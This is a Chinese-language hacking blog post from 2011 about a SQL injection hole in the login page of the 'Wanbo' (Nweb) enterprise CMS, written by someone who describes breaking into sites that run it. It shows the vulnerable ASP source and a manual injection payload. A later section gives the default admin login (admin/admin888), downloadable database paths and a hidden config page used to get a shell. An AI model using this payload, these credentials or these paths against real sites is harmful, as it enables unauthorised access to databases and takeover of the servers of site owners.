浏览模式: 标准 | 列表Tag:万博

万博企业网站管理系统注入漏洞

Submitted by admin
2011, November 18, 10:56 PM

FROM http://www.st999.cn/blog

这两天拿站的时候,好几回都遇到个叫万博的企业管理系统,今天有时间就下载过来看了看,找到了个注入漏洞,郁闷的是,得手工,没法用工具,累人的事。因为已经找到了一个,我就没兴趣接着往下看了。

这个注入漏洞发生在html/MemberLogin.asp文件里,在Include下有NoSqlHack.Asp文件也没调用,呵呵,就有了我们利用的地方了。

MemberLogin.asp源码如下:

<%@LANGUAGE="VBSCRIPT" CODEPAGE="65001"%>
<% Option Explicit %>
<%Response.Charset="utf-8"%>
<!--#include file="../Include/Const.asp"-->
<!--#include file="../Include/ConnSiteData.asp"-->
<!--#include file="../Include/Md5.asp"-->
<%
if request.QueryString("Action")="Out" then
   session.contents.remove "MemName"
   session.contents.remove "GroupID"
   session.contents.remove "GroupLevel"
   session.contents.remove "MemLogin"
   response.redirect Cstr(request.ServerVariables("HTTP_REFERER"))
   response.end
end if

Public ErrMsg(3)
   ErrMsg(0)="·登录名不正确,请返回。"
   ErrMsg(1)="·登录密码不正确,请返回。"
   ErrMsg(2)="·帐号非使用状态,请返回。"

dim LoginName,LoginPassword,VerifyCode,MemName,Password,GroupID,GroupName,Working,rs,sql
LoginName=trim(request.form("LoginName"))
LoginPassword=Md5(request.form("LoginPassword"))
set rs = server.createobject("adodb.recordset")
sql="select * from NwebCn_Members where MemName='"&LoginName&"'"
rs.open sql,conn,1,3
if rs.bof and rs.eof then
   WriteMsg(ErrMsg(0))
   response.end
else
   MemName=rs("MemName")
   Password=rs("Password")
   GroupID=rs("GroupID")
   GroupName=rs("GroupName")
   Working=rs("Working")
end if

if LoginPassword<>Password then
   WriteMsg(ErrMsg(1))
   response.end
end if

if not Working then
   WriteMsg(ErrMsg(2))
   response.end
end if
 
if UCase(LoginName)=UCase(MemName) and LoginPassword=Password then
   rs("LastLoginTime")=now()
   rs("LastLoginIP")=Request.ServerVariables("Remote_Addr")
   rs("LoginTimes")=rs("LoginTimes")+1
   rs.update
   rs.close
   set rs=nothing
   session("MemName")=MemName
   session("GroupID")=GroupID
   '===========
   set rs = server.createobject("adodb.recordset")
   sql="select * from NwebCn_MemGroup where GroupID='"&GroupID&"'"
   rs.open sql,conn,1,1
   session("GroupLevel")=rs("GroupLevel")
   rs.close
   set rs=nothing
  '===========
   session("MemLogin")="Succeed"
   session.timeout=60
   response.redirect Cstr(request.ServerVariables("HTTP_REFERER"))
   response.end
end if
%>

看到了,LoginName未作过滤,直接代入查询,因此产生了这个注入,就是利用的方法有点麻烦,我试了下,没办法用工具,郁闷了。

手工如:wzasdf' and exists (select * from [nwebcn_admin]) and '1'='1

真是郁闷的手工,这个JB烂的洞。。。

 

Tags: 万博, nweb

管理登录:/system/adminlogin.asp
'管理帐号:admin
'密  码:admin888
'
'网站数据:/Database/NwebCn_Site.mdb (常规内容数据库)
'     /Database/Bak_NwebCn_Site.mdb (备份内容数据库)
'     /Database/NwebCn_Stat.mdb (常规流量数据库)
'     /Database/Bak_NwebCn_Stat.mdb (备份流量数据库)
'常量配置:/Include/Const.asp (如果你更改过数据库存放路径或文件名,相应常量在此文件作修改)
拿shell看图
大小: 84.82 K
尺寸: 500 x 275
浏览: 130 次
点击打开新窗口浏览全图

昨天碰到一个站后台将“常量配置”页面隐藏了,最后在官网下了一套程序调试,找出配置页为:system/setconst.asp,在后台直接输入就OK

Tags: 万博